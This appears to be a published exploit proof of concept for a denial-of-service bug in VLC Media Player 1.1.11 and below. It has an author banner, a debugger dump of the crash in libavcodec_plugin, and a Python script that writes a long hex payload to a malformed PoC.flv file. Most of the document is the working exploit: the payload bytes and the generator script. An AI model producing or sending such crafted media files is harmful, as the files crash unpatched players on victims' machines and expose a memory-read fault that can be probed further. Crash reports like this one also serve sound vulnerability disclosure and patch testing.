VLC Media Player versions 1.1.11 and below denial of service exploit that makes a malicious .flv file.
0eca42f600feb65e6a323e108ff5b1100d57ba6652c470f72002fe4d1c68fa73
###########################################################################################################
Application : VLC media player <= 1.1.11 (.flv) Denial of Service
Date : 12/03/2012
Auther : Senator of Pirates
E-Mail : Senator.of.Pirates.team@gmail.com
FaceBook : /SenatorofPirates
Greetz : i greet to Gjoko 'LiquidWorm' Krstic, Matias Chroren ... ,and my friends in anywhere and also
every Moroccan in USA,Canada,Europe,... wherever and i would say "Sahra Maghribia" there is not western sahara
there is only Morocco from Tangier to Lagouira.
############################################################################################################
Bug :
----
Registers:
eax=01487000 ebx=01503dc0 ecx=00010001 edx=0000a041 esi=0000a03e edi=01503dc0
eip=04cb4ad3 esp=0320f5b0 ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206
Disasembly:
04cb4ac0 8d5603 lea edx,[esi+3]
04cb4ac3 3954243c cmp dword ptr [esp+3Ch],edx
04cb4ac7 7e28 jle libavcodec_plugin!vlc_entry__1_1_0g+0x243771 (04cb4af1)
04cb4ac9 8b442448 mov eax,dword ptr [esp+48h]
04cb4acd 8b4c243c mov ecx,dword ptr [esp+3Ch]
04cb4ad1 01f0 add eax,esi
04cb4ad3 803800 cmp byte ptr [eax],0 ds:0023:01487000=?? <= Crash
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\VideoLAN\VLC\plugins\libavcodec_plugin.dll -
############################################################################################################
Proof Of Concept:
----------------
Data = ("\x46\x4c\x56\x01\x05\x00\x00\x00\x09\x00\x00\x00\x00\x12\x00\x00"
"\xb8\x00\x00\x00\x00\x00\x00\x00\x02\x00\x0a\x6f\x6e\x4d\x65\x74"
"\x61\x44\x61\x74\x61\x08\x00\x00\x00\x08\x00\x08\x64\x75\x72\x61"
"\x74\x69\x6f\x6e\x00\x3f\xf6\x49\xba\x5e\x35\x3f\x7d\x00\x05\x77"
"\x69\x64\x74\x68\x00\x40\x84\x00\x00\x00\x00\x00\x00\x00\x06\x68"
"\x65\x69\x67\x68\x74\x00\x40\x76\x80\x00\x00\x00\x00\x00\x00\x0d"
"\x76\x69\x64\x65\x6f\x64\x61\x74\x61\x72\x61\x74\x65\x00\x40\x84"
"\x24\x00\x00\x00\x00\x00\x00\x09\x66\x72\x61\x6d\x65\x72\x61\x74"
"\x65\x00\x40\x37\xf8\xe7\x79\x20\x7d\x4e\x00\x0c\x76\x69\x64\x65"
"\x6f\x63\x6f\x64\x65\x63\x69\x64\x00\x40\x1c\x00\x00\x00\x00\x00"
"\x00\x00\x0d\x61\x75\x64\x69\x6f\x64\x61\x74\x61\x72\x61\x74\x65"
"\x00\x40\x5b\xe0\x00\x00\x00\x00\x00\x00\x0c\x61\x75\x64\x69\x6f"
"\x63\x6f\x64\x65\x63\x69\x64\x00\x40\x24\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\xc3\x08\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\xaf"
"\x00\x12\x10\x00\x00\x00\xd2\x09\x00\x00\x2d\x00\x00\x00\x00\x00"
"\x00\x00\x17\x00\x00\x00\x00\x01\x4d\x40\x1e\xff\xe1\x00\x19\x67"
"\x4d\x40\x1e\x92\x42\x01\x40\x5f\xf2\xe0\x22\x00\x00\x03\x00\xfa"
"\x00\x00\x2e\xff\xff\xff\xff\xff\xff\xff\xff\xff\xee\x32\xc8\x00"
"\x00\x01\x0a\x08\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\xaf\x01"
"\x21\x00\x49\x90\x02\x19\x00\x23\x80\x00\x00\x01\x20\x09\x00\x02"
"\x85\x00\x00\x00\x00\x00\x00\x00\x17\x01\x00\x00\x00\x00\x00\x02"
"\x7c\x65\x88\x80\x80\x02\x7f\xfe\xbd\x67\xe6\x59\x3d\xb6\x7f\x2b"
"\x00\xc2\x41\x28\xef\xe4\x09\x51\x5c\x71\x42\xa2\x4a\x4c\x56\x46"
"\xe7\x4e\x08\x9f\xbd\xe7\x5e\xa9\x86\xf2\x54\xf0\xa9\x88\x44\xdd"
"\xc0\xf5\x84\x64\xee\x17\xa5\x02\xb4\x97\x85\x32\x9d\x02\xaa\xb6"
"\x0a\x31\xc0\x5c\x50\xac\x85\x9c\xc6\x85\x9a\xeb\xfc\x6e\x7e\x41"
"\x9d\x06\x2f\xa1\x55\xe7\x54\x81\x66\x30\xad\x94\x0d\x00\xba\x06"
"\xca\x96\x2c\xfa\xf0\xa7\xe9\x70\xf2\xdc\x79\x7b\x39\xf3\x05\x88"
"\x8c\x9f\xc9\x5c\x52\x2a\x17\xad\xea\xe3\xa6\xd6\x4d\x0c\x25\x77"
"\x75\x7b\xb0\x3a\x4f\x20\x08\x34\xce\xe4\x19\x65\x92\xf1\xb0\xa4"
"\x49\xd4\x3a\x0c\x0a\x48\xd3\xa2\xaf\xb1\xc7\x3e\xea\x39\xb5\x62"
"\xdd\xb9\xc8\x11\x78\x7f\x33\x1b\x93\x86\xa6\x04\x61\xd8\xd2\x42"
"\x77\xff\x13\xd0\x38\x76\x82\x1e\x71\x79\x26\x49\xb3\xa3\x5b\x89"
"\x65\x33\x98\xee\x9d\xbc\xaf\x5b\x63\xd4\xbb\x1d\x28\x7a\x58\x91"
"\x51\x0f\x78\x18\xa5\x0d\xe3\x7c\xf6\x87\x78\x75\x42\x18\x9d\xe8"
"\x1c\x4d\xdc\x66\x31\xef\xf5\xb2\x73\x80\xec\x64\xd5\x17\xe5\x2a"
"\xc6\x81\xd1\x1e\x39\xbc\x59\xc9\xb0\x03\x4f\xde\x13\xeb\x19\xf8"
"\x8d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x36"
"\x95\x90\xa5\x2b\x68\x70\x0c\xd7\x4e\x13\x88\x70\x8d\x80\x30\x8a"
"\x12\x46\xc0\xc7\x61\xcc\x14\x22\x40\x88\x65\x17\x28\x88\x98\x9a"
"\x7c\xfa\x00\x02\x0d\x00\x00\x00\x00\x00\x00\x00\x52\x4a\x4d\x44"
"\x00\x00\x00\x01\x00\x00\x01\xf9\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x1d\x00\x00\x00\x22\x00\x00\x00\x01\x00\x00\x00\x01"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x2a\x00\x00\x00\x01\x00\x00"
"\x01\xcf\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x27\x00\x00"
"\x00\x2c\x00\x00\x00\x08\x00\x00\x00\x0b\x53\x74\x61\x74\x69\x73"
"\x74\x69\x63\x73\x00\x00\x00\x00\x01\x00\x00\x00\x00\x6c\x00\x00"
"\x00\x01\x00\x00\x00\x99\x00\x00\x00\x01\x00\x00\x00\xc8\x00\x00"
"\x00\x01\x00\x00\x00\xf2\x00\x00\x00\x01\x00\x00\x01\x1d\x00\x00"
"\x00\x01\x00\x00\x01\x48\x00\x00\x00\x01\x00\x00\x01\x74\x00\x00"
"\x00\x01\x00\x00\x01\xa5\x00\x00\x00\x01\x00\x00\x00\x2d\x00\x00"
"\x00\x04\x00\x00\x00\x01\x00\x00\x00\x25\x00\x00\x00\x2d\x00\x00"
"\x00\x00\x00\x00\x00\x09\x43\x68\x61\x6e\x6e\x65\x6c\x73\x00\x00"
"\x00\x00\x04\x02\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00\x01\x00"
"\x00\x00\x03\x00\x00\x00\x26\x00\x00\x00\x2f\x00\x00\x00\x00\x00"
"\x00\x00\x0a\x45\x78\x74\x65\x6e\x73\x69\x6f\x6e\x00\x00\x00\x00"
"\x05\x2e\x66\x6c\x76\x00\x00\x00\x00\x2a\x00\x00\x00\x03\x00\x00"
"\x00\x03\x00\x00\x00\x25\x00\x00\x00\x2a\x00\x00\x00\x00\x00\x00"
"\x00\x09\x48\x61\x73\x56\x69\x64\x65\x6f\x00\x00\x00\x00\x01\x01"
"\x00\x00\x00\x2b\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x23"
"\x00\x00\x00\x2b\x00\x00\x00\x00\x00\x00\x00\x07\x48\x65\x69\x67"
"\x68\x74\x00\x00\x00\x00\x04\x68\x01\x00\x00\x00\x00\x00\x2b\x00"
"\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x23\x00\x00\x00\x2b\x00"
"\x00\x00\x00\x00\x00\x00\x07\x4c\x65\x6e\x67\x74\x68\x00\x00\x00"
"\x00\x04\x85\x05\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x04\x00\x00"
"\x00\x01\x00\x00\x00\x24\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x00"
"\x00\x08\x51\x75\x61\x6c\x69\x74\x79\x00\x00\x00\x00\x04\x44\x8b"
"\x0b\x00\x00\x00\x00\x31\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00"
"\x00\x29\x00\x00\x00\x31\x00\x00\x00\x00\x00\x00\x00\x0d\x56\x69"
"\x64\x65\x6f\x42\x69\x74\x72\x61\x74\x65\x00\x00\x00\x00\x04\x28"
"\xd7\x09\x00\x00\x00\x00\x2a\x00\x00\x00\x04\x00\x00\x00\x01\x00"
"\x00\x00\x22\x00\x00\x00\x2a\x00\x00\x00\x00\x00\x00\x00\x06\x57"
"\x69\x64\x74\x68\x00\x00\x00\x00\x04\x80\x02\x00\x00\x52");
payload = (Data)
f = open("PoC.flv","wb")
f.write(payload)
f.close()